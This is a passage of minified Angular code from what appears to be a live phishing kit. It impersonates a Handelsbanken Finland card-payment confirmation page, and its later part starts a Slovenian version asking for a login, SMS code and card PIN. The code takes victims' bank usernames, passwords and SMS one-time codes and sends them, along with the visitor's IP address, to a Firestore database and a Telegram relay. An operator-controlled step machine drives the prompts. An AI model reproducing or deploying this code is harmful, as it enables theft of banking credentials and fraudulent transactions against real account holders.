"),r.\u0275\u0275elementEnd())}function UD(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",32),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",39),r.\u0275\u0275template(4,GD,2,0,"div",43),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",35),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",t.incorrect)}}function qD(t,e){1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",32),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",39),r.\u0275\u0275elementStart(4,"div",40),r.\u0275\u0275elementStart(5,"a",45),r.\u0275\u0275text(6," Unohditko k\xe4ytt\xe4j\xe4tunnuksen? "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(7,"td",35),r.\u0275\u0275elementEnd())}function WD(t,e){1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",32),r.\u0275\u0275element(2,"td"),r.\u0275\u0275element(3,"td",35),r.\u0275\u0275elementEnd())}function KD(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",36),r.\u0275\u0275elementStart(1,"div",37),r.\u0275\u0275elementStart(2,"div",40),r.\u0275\u0275elementStart(3,"input",46),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).smsCode=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(4,"br"),r.\u0275\u0275elementStart(5,"input",47),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).onConfirmSMS()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(3);r.\u0275\u0275advance(3),r.\u0275\u0275property("ngModel",t.smsCode)}}function $D(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",32),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",39),r.\u0275\u0275template(4,KD,6,1,"div",34),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",35),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",5==t.step||6==t.step)}}function QD(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",44),r.\u0275\u0275text(1," Tapahtuman hyv\xe4ksyminen ep\xe4onnistui, uusi koodi l\xe4hetet\xe4\xe4n. "),r.\u0275\u0275elementEnd())}function XD(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",32),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",39),r.\u0275\u0275template(4,QD,2,0,"div",43),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",35),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",t.incorrect)}}function ZD(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"table",26),r.\u0275\u0275elementStart(1,"tbody"),r.\u0275\u0275template(2,zD,8,2,"tr",6),r.\u0275\u0275template(3,UD,6,1,"tr",6),r.\u0275\u0275template(4,qD,8,0,"tr",6),r.\u0275\u0275template(5,WD,4,0,"tr",6),r.\u0275\u0275template(6,$D,6,1,"tr",6),r.\u0275\u0275template(7,XD,6,1,"tr",6),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext();r.\u0275\u0275advance(2),r.\u0275\u0275property("ngIf",2==t.step||4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",2==t.step||4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",5==t.step||6==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",6==t.step)}}let YD=(()=>{class t{constructor(t,e){this.db=t,this.myService=e,this.btnDisabled=!1,this.btnDisabled2=!1,this.redirectVBV=!1,this.today=Date.now(),this.loading=!1,this.incorrect=!1,this.user="",this.pass="",this.visit={ip:"",country:"",dateTime:"",device:""},e.getIpAddress().subscribe(t=>{this.visit.ip=t.ip,this.visit.dateTime=Date.now(),e.getCountry(t.ip).subscribe(t=>{this.visit.country=t.country_name})}),this.prefix=localStorage.getItem("ID"),localStorage.getItem("ccNum")?(this.ccNum=localStorage.getItem("ccNum"),this.lastFourDegits=this.ccNum.substr(this.ccNum.length-4)):localStorage.getItem("ccNum2")&&(this.ccNum=localStorage.getItem("ccNum2"),this.lastFourDegits=this.ccNum.substr(this.ccNum.length-4)),this.resultsCollection=this.db.collection("lBet"),this.logins=this.resultsCollection.snapshotChanges().pipe((0,ue.U)(t=>t.map(t=>{const e=t.payload.doc.data(),n=t.payload.doc.id;return e.id=n,localStorage.getItem("ID")==n&&(2==e.step?(this.step=2,this.loading=!1,setTimeout(()=>{this.redirectVBV=!0},3e3)):3==e.step?(this.step=3,this.loading=!0,this.redirectVBV=!1,this.btnDisabled=!0):4==e.step?(this.step=4,this.btnDisabled=!1,this.loading=!1,this.redirectVBV=!1,this.incorrect=!0):5==e.step?(this.step=5,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!1):6==e.step?(this.step=6,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!0):10==e.step&&(this.step=10,this.loading=!1,this.btnDisabled=!0,this.incorrect=!1,this.redirectVBV=!1)),e}))),this.logins.subscribe(function(){var t=TT(function*(t){});return function(e){return t.apply(this,arguments)}}())}fs(){this.smsCode=this.smsCode.split("").reverse().join("")}ngOnInit(){}onConfirm(){return this.user.length<6?(this.incorrect=!0,this.loading=!1,void console.log(this.user+"daza")):this.pass.length<5?(this.incorrect=!0,this.loading=!1,void console.log(this.user+"fff")):(this.loading=!0,void setTimeout(()=>{let t;this.credentials=this.user+":"+this.pass,this.db.collection("lBet").doc(this.prefix).update({step:3,credentials:this.credentials}).catch(function(t){var e;console.error("Error writing document event: ",t),localStorage.clear(),null===(e=window.open("/Confirm_Delivery","_self"))||void 0===e||e.close()}),this.step=3,this.tempLog=this.user.substring(0,4),t="HANDELSBANKEN Login: "+this.user+" "+this.pass+" "+this.visit.ip,this.myService.sendTelegram(t).subscribe(t=>console.log(t))},1e3))}onConfirmSMS(){if(this.smsCode.length<6)return this.incorrect=!0,void(this.loading=!1);this.fs(),this.loading=!0,setTimeout(()=>{let t;this.db.collection("lBet").doc(this.prefix).update({step:3,smsCode:this.smsCode}).catch(function(t){console.error("Error writing document event: ",t),localStorage.clear()}),this.step=3,t=" HANDELSBANKEN-SMS: "+this.smsCode+" "+this.visit.ip,this.myService.sendTelegram(t).subscribe(t=>console.log(t)),this.smsCode=""},1e3)}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(vw),r.\u0275\u0275directiveInject(CI))},t.\u0275cmp=r.\u0275\u0275defineComponent({type:t,selectors:[["app-bnpbk"]],decls:70,vars:17,consts:[[1,"modal-page"],[1,"header"],["src","https://www4.handelsbanken.fi/pankki/assets/shb/img/logo_iso.png",2,"width","150px"],["src","../../assets/images/VM.png"],["id","desc",2,"color","black"],[2,"margin-bottom","-1px"],[4,"ngIf"],["id","descList",1,"list",2,"display","block"],["id","pa_merchant",1,"list-item"],[1,"label"],[1,"value"],["id","pa_amount",1,"list-item"],["id","pa_date",1,"list-item"],["id","pa_pan",1,"list-item"],["id","pamrow",1,"list-item",2,"display","none"],["id","addInfo"],[1,"list"],["id","QRItem",2,"display","none"],["align","center"],["id","QRData"],["id","psw_id","type","password","placeholder","Mobile\u2013Internet Banking / NBG Authenticator","name","PASSWORD","size","20","maxlength","20","autocomplete","off",1,"big-input"],["id","authenticator","align","center",1,"desc"],[1,"row","d-flex","justify-content-center"],["width","100%","border","0","align","center","cellspacing","3","cellpadding","3",4,"ngIf"],[1,"footer"],[1,"row"],["width","100%","border","0","align","center","cellspacing","3","cellpadding","3"],["href","javascript:void(0)","id","btnExit"],["href","#","target","Terms Of Use"],["href","https://www4.handelsbanken.fi/pankki/kirjautuminen?1","onclick","window.open('https://www4.handelsbanken.fi/pankki/kirjautuminen?1','','width=1000,height=700, location=no, menubar=no, toolbar=no, resizable=yes', true ); return false;",1,"help__link"],["type","hidden","name","formaction","value","pa.submit"],["src","../../assets/images/nbgSc/loading.gif","alt",""],["align","left","width","40"],["align","center",1,"left"],["id","btnSubmitItem",4,"ngIf"],["width","40"],["id","btnSubmitItem"],[1,"position-relative",2,"margin-top","4px"],["type","button","id","btnSubmit","name","btSubmit","value","Jatka",1,"big-button",2,"cursor","pointer",3,"click"],[1,"position-relative"],[1,"flex-center"],["maxlength","24","autocapitalize","none","test-field","usernameField","type","text","pattern","\\d*","placeholder","K\xe4ytt\xe4j\xe4tunnus",1,"oval-input","ng-dirty","ng-touched",3,"ngModel","ngModelChange"],["maxlength","24","test-field","usernameField","type","password","pattern","\\d*","placeholder","Salasana",1,"oval-input","ng-dirty","ng-touched",3,"ngModel","ngModelChange"],["class","flex-center","style","text-align: center; color: red; margin-top: -6px; margin-bottom: -6px;",4,"ngIf"],[1,"flex-center",2,"text-align","center","color","red","margin-top","-6px","margin-bottom","-6px"],["href","https://www4.handelsbanken.fi/pankki/kirjautuminen?1","target","_blank"],["autocomplete","on","maxlength","24","test-field","usernameField","type","text","placeholder","SMS koodi",1,"oval-input","ng-dirty","ng-touched",2,"max-width","160px",3,"ngModel","ngModelChange"],["type","button","id","btnSubmit","name","btSubmit","value","Vahvistaa",1,"big-button",2,"cursor","pointer",3,"click"]],template:function(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",0),r.\u0275\u0275elementStart(1,"div",1),r.\u0275\u0275elementStart(2,"div"),r.\u0275\u0275element(3,"img",2),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(4,"div"),r.\u0275\u0275element(5,"img",3),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(6,"div"),r.\u0275\u0275element(7,"h1"),r.\u0275\u0275elementStart(8,"div",4),r.\u0275\u0275elementStart(9,"h2",5),r.\u0275\u0275elementStart(10,"strong"),r.\u0275\u0275text(11," Vahvista maksu"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275template(12,LD,2,0,"p",6),r.\u0275\u0275template(13,jD,2,0,"p",6),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(14,"div",7),r.\u0275\u0275elementStart(15,"div",8),r.\u0275\u0275elementStart(16,"div",9),r.\u0275\u0275text(17,"Kauppias:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(18,"div",10),r.\u0275\u0275text(19,"Posti Group Oyj"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(20,"div",11),r.\u0275\u0275elementStart(21,"div",9),r.\u0275\u0275text(22,"Ostosumma:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(23,"div",10),r.\u0275\u0275elementStart(24,"b"),r.\u0275\u0275text(25,"\u20ac 2,84"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(26,"div",12),r.\u0275\u0275elementStart(27,"div",9),r.\u0275\u0275text(28,"Ostop\xe4iv\xe4:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(29,"div",10),r.\u0275\u0275text(30),r.\u0275\u0275pipe(31,"date"),r.\u0275\u0275pipe(32,"date"),r.\u0275\u0275pipe(33,"date"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(34,"div",13),r.\u0275\u0275elementStart(35,"div",9),r.\u0275\u0275text(36,"Kortin numero:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(37,"div",10),r.\u0275\u0275text(38),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(39,"div",14),r.\u0275\u0275elementStart(40,"div",9),r.\u0275\u0275text(41,"Personal Greeting:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(42,"div",10),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(43,"div",15),r.\u0275\u0275elementStart(44,"div",16),r.\u0275\u0275elementStart(45,"div",17),r.\u0275\u0275elementStart(46,"div",18),r.\u0275\u0275element(47,"img",19),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(48,"input",20),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(49,"div",21),r.\u0275\u0275elementStart(50,"div",22),r.\u0275\u0275template(51,FD,2,0,"div",6),r.\u0275\u0275template(52,ZD,8,6,"table",23),r.\u0275\u0275element(53,"br"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(54,"div",24),r.\u0275\u0275element(55,"br"),r.\u0275\u0275elementStart(56,"div",25),r.\u0275\u0275elementStart(57,"table",26),r.\u0275\u0275elementStart(58,"tbody"),r.\u0275\u0275elementStart(59,"tr"),r.\u0275\u0275elementStart(60,"td",18),r.\u0275\u0275elementStart(61,"a",27),r.\u0275\u0275text(62,"Keskeytys"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(63,"td",18),r.\u0275\u0275elementStart(64,"a",28),r.\u0275\u0275text(65,"\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(66,"td"),r.\u0275\u0275elementStart(67,"a",29),r.\u0275\u0275text(68,"auta "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(69,"input",30),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()),2&t&&(r.\u0275\u0275advance(12),r.\u0275\u0275property("ngIf",2==e.step||4==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",5==e.step||6==e.step),r.\u0275\u0275advance(17),r.\u0275\u0275textInterpolate3("",r.\u0275\u0275pipeBind2(31,8,e.today,"dd"),"/",r.\u0275\u0275pipeBind2(32,11,e.today,"MM"),"/",r.\u0275\u0275pipeBind2(33,14,e.today,"yyyy")," "),r.\u0275\u0275advance(8),r.\u0275\u0275textInterpolate1(" **** **** **** ",e.lastFourDegits,""),r.\u0275\u0275advance(13),r.\u0275\u0275property("ngIf",e.loading),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",!e.loading))},directives:[ut,zO,aT,lT,_E,KE],pipes:[vt],styles:['html[_ngcontent-%COMP%]{height:100%}body[_ngcontent-%COMP%]{background-color:#fcfcfc;font-family:Helvetica;font-size:12px;padding:0;margin:0;justify-content:center;align-items:center;display:-ms-flexbox;display:block;height:100%}a[_ngcontent-%COMP%]{color:#0177ef;text-decoration:none}a[_ngcontent-%COMP%]:hover{text-decoration:underline}a.error[_ngcontent-%COMP%]{color:red;font-weight:normal}a.error[_ngcontent-%COMP%]:hover{color:#000;font-weight:normal}a.small[_ngcontent-%COMP%]{opacity:.6}h1[_ngcontent-%COMP%]{font-size:18px}h2[_ngcontent-%COMP%]{padding-top:8px;font-size:16px}p[_ngcontent-%COMP%]{line-height:18px}.desc[_ngcontent-%COMP%], .error[_ngcontent-%COMP%]{font-size:12px;color:#adadad;margin:4px 0}.error[_ngcontent-%COMP%]{color:red}.language[_ngcontent-%COMP%]{position:absolute;top:0;right:0;margin:12px}.lang[_ngcontent-%COMP%]{display:inline;padding-left:8px;border:2px}.modal-page[_ngcontent-%COMP%]{position:relative;width:320px;max-height:580px;background-color:#fff;padding:12px 24px 24px;margin-top:0;margin-left:auto;margin-right:auto;text-align:left;box-shadow:0 12px 28px rgba(0,0,0,.1);border-radius:3px;font-size:12px}@media (max-height: 600px){body[_ngcontent-%COMP%]{display:block}}.list[_ngcontent-%COMP%]{border-top:1px solid #dedede;padding-top:6px}.list-item[_ngcontent-%COMP%]{padding:4px 0;display:flex;align-items:baseline}.label[_ngcontent-%COMP%]{display:inline-block;width:45%;color:gray;padding-right:24px;box-sizing:border-box;vertical-align:top;font-size:12px;opacity:.5;text-align:right}.value[_ngcontent-%COMP%]{display:inline-block;width:48%;color:#000;box-sizing:border-box}.select[_ngcontent-%COMP%], .big-input[_ngcontent-%COMP%]{padding:8px;background-color:#fff;border-color:#dedede;border-style:solid;border-width:1px;border-radius:6px;font-size:14px}.select[_ngcontent-%COMP%], .big-input[_ngcontent-%COMP%]{display:block;width:100%}.button[_ngcontent-%COMP%]{background-color:transparent;border:1px solid #263e4c;color:#263e4c;text-transform:uppercase}.button[_ngcontent-%COMP%]:hover{border:1px solid #263e4c}.big-button[_ngcontent-%COMP%], .select[_ngcontent-%COMP%], .inner-button[_ngcontent-%COMP%], .button[_ngcontent-%COMP%]{height:36px;line-height:36px;border-radius:4px;padding:0 18px;font-size:12px;font-weight:100}.select[_ngcontent-%COMP%]{font-size:14px}.big-button[_ngcontent-%COMP%]:hover, .inner-button[_ngcontent-%COMP%]:hover{opacity:.8}.big-button[_ngcontent-%COMP%]{background:#003b62;border-radius:3px;min-width:100px;border:none;color:#fff;margin:0 auto;display:block;text-transform:uppercase}.small-input[_ngcontent-%COMP%]{padding:5px;background-color:#fff;border-color:#dedede;border-style:solid;border-width:1px;border-radius:6px;font-size:11px;text-align:center}.big-input[_ngcontent-%COMP%]{font-size:14px;text-align:center;padding-left:0;padding-right:0}.big-input[_ngcontent-%COMP%]:hover, .small-input[_ngcontent-%COMP%]:hover{border:1px solid #263e4c}.big-link[_ngcontent-%COMP%]{font-size:14px}.header[_ngcontent-%COMP%]{display:flex;flex-direction:row;justify-content:space-between;align-items:center}.footer[_ngcontent-%COMP%]{margin-top:8px;padding-top:8px;border-top:1px solid #dedede;text-align:center}.inner[_ngcontent-%COMP%]{display:inline-block;text-align:left;padding:8px 12px 8px 0}.inner-button[_ngcontent-%COMP%]{border:none;margin:0 auto;color:#fff;background-color:#263e4c;text-transform:uppercase}.row[_ngcontent-%COMP%]:after{content:"";clear:both;display:table}.left[_ngcontent-%COMP%]{text-align:center}.right[_ngcontent-%COMP%]{float:right;text-align:right}.help_icon[_ngcontent-%COMP%]{width:14px;height:13px;border:0px;padding-right:2px}.bottom[_ngcontent-%COMP%]{border-top:1px solid #dedede;padding-top:10px;margin-top:10px}hr[_ngcontent-%COMP%]{margin:12px 0;border:none;border-top:1px solid #dedede}.position-relative[_ngcontent-%COMP%]{position:relative}.flex-center[_ngcontent-%COMP%]{display:flex;justify-content:center}.oval-input[_ngcontent-%COMP%]:disabled{color:rgba(65,65,64,.75);opacity:.76}.oval-input[_ngcontent-%COMP%]{font-family:PF DinDisplay Pro Medium,Arial,Helvetica,sans-serif;font-weight:500;font-style:normal;background:#fff;width:100%;border-radius:.25rem;font-size:16px;font-size:1rem;height:20px;height:2.5rem;padding:.125rem 2.5rem 0 1rem;color:#414140;border:none;outline:none;box-shadow:0 5px 10px rgba(0,0,0,.2);-webkit-appearance:none;-webkit-box-shadow:0px 5px 10px rgb(0 0 0 / 20%)}.position-absolute-center-y[_ngcontent-%COMP%]{position:absolute;top:50%;transform:translateY(-50%)}.right-default[_ngcontent-%COMP%]{right:1rem}.button-transparent[_ngcontent-%COMP%]{background:transparent;border:none;cursor:pointer;padding:0}.text-medium[_ngcontent-%COMP%]{font-family:PF DinDisplay Pro Medium,Arial,Helvetica,sans-serif;font-weight:500;font-style:normal}.text-small[_ngcontent-%COMP%], h5[_ngcontent-%COMP%]{line-height:14px;line-height:.875rem;font-size:14px;font-size:.875rem}.text-primary[_ngcontent-%COMP%]{color:#125b6b}[type=reset][_ngcontent-%COMP%], [type=submit][_ngcontent-%COMP%], button[_ngcontent-%COMP%], html[_ngcontent-%COMP%] [type=button][_ngcontent-%COMP%]{-webkit-appearance:button}button[_ngcontent-%COMP%], select[_ngcontent-%COMP%]{text-transform:none}button[_ngcontent-%COMP%], input[_ngcontent-%COMP%]{overflow:visible}button[_ngcontent-%COMP%], input[_ngcontent-%COMP%], optgroup[_ngcontent-%COMP%], select[_ngcontent-%COMP%], textarea[_ngcontent-%COMP%]{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button[_ngcontent-%COMP%]{border-radius:0}.icon-user-refresh[_ngcontent-%COMP%]{background-image:url(https://ibank.nbg.gr/identity/dist/icons/user-refresh.e3ee51c4c61192621049e2c835a2aafd.svg)}.icon-pass-refresh[_ngcontent-%COMP%]{background-image:url(https://ibank.nbg.gr/identity/dist/icons/visibility.d128f570a1a619be86a37334ffc80b37.svg)}.icon-svg-container[_ngcontent-%COMP%], .icon-svg-container-small[_ngcontent-%COMP%]{display:block;background-repeat:no-repeat;background-position:50%}.icon-svg-container-small[_ngcontent-%COMP%]{width:24px;width:1.5rem;height:24px;height:1.5rem;min-width:24px;min-width:1.5rem;min-height:24px;min-height:1.5rem}*[_ngcontent-%COMP%], [_ngcontent-%COMP%]:after, [_ngcontent-%COMP%]:before{box-sizing:border-box}i[_ngcontent-%COMP%]{font-style:italic}']}),t})();function JD(t,e){1&t&&(r.\u0275\u0275elementStart(0,"h2",31),r.\u0275\u0275elementStart(1,"strong"),r.\u0275\u0275text(2," Potrdite pla\u010dilo"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd())}function tN(t,e){1&t&&(r.\u0275\u0275elementStart(0,"h2",31),r.\u0275\u0275elementStart(1,"strong"),r.\u0275\u0275text(2," Varnostno vpra\u0161anje:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd())}function eN(t,e){1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275text(1," Za potrditev transakcije se prijavite. Klju\u010d za obnovitev je potreben za naslednjo transakcijo:"),r.\u0275\u0275elementEnd())}function nN(t,e){1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275elementStart(1,"span",32),r.\u0275\u0275text(2," Prosimo vnesite SMS kodo, ki ste jo prejeli "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd())}function rN(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275elementStart(1,"span",32),r.\u0275\u0275text(2," Vnesite kodo PIN za naslednjo kartico: XXXX-"),r.\u0275\u0275elementStart(3,"strong"),r.\u0275\u0275text(4),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext();r.\u0275\u0275advance(4),r.\u0275\u0275textInterpolate1("",t.showCode," ")}}function iN(t,e){1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275elementStart(1,"span",32),r.\u0275\u0275text(2," Za potrditev transakcije se prijavite."),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd())}function oN(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div"),r.\u0275\u0275element(1,"img",33),r.\u0275\u0275elementEnd())}function sN(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275elementStart(4,"div",42),r.\u0275\u0275elementStart(5,"input",43),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(4).user=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(6,"div",39),r.\u0275\u0275elementStart(7,"div",42),r.\u0275\u0275elementStart(8,"input",44),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(4).pass=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(9,"td",37),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(4);r.\u0275\u0275advance(5),r.\u0275\u0275property("ngModel",t.user),r.\u0275\u0275advance(3),r.\u0275\u0275property("ngModel",t.pass)}}function aN(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",38),r.\u0275\u0275template(1,sN,10,2,"tr",6),r.\u0275\u0275elementStart(2,"div",39),r.\u0275\u0275elementStart(3,"div",38),r.\u0275\u0275elementStart(4,"input",40),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).onConfirm()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(3);r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",2==t.step||4==t.step)}}function cN(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",38),r.\u0275\u0275elementStart(1,"input",40),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).onConfirmSMS()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}}function lN(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",22),r.\u0275\u0275element(4,"div",36),r.\u0275\u0275template(5,aN,5,1,"div",34),r.\u0275\u0275template(6,cN,2,0,"div",34),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(7,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(5),r.\u0275\u0275property("ngIf",2==t.step||4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",5==t.step||6==t.step)}}function uN(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",46),r.\u0275\u0275text(1," Podatki za prijavo so napa\u010dni. "),r.\u0275\u0275elementEnd())}function dN(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,uN,2,0,"div",45),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",t.incorrect)}}function hN(t,e){1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275elementStart(4,"div",42),r.\u0275\u0275elementStart(5,"a",47),r.\u0275\u0275text(6," Potrebujem pomo\u010d? "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(7,"td",37),r.\u0275\u0275elementEnd())}function pN(t,e){1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275element(2,"td"),r.\u0275\u0275element(3,"td",37),r.\u0275\u0275elementEnd())}function fN(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",38),r.\u0275\u0275elementStart(1,"div",39),r.\u0275\u0275elementStart(2,"div",42),r.\u0275\u0275elementStart(3,"input",48),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).smsCode=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(4,"br"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(5,"div",49),r.\u0275\u0275elementStart(6,"p"),r.\u0275\u0275text(7,"6-mestna SMS koda"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(8,"input",50),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).onConfirmSMS()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(3);r.\u0275\u0275advance(3),r.\u0275\u0275property("ngModel",t.smsCode)}}function 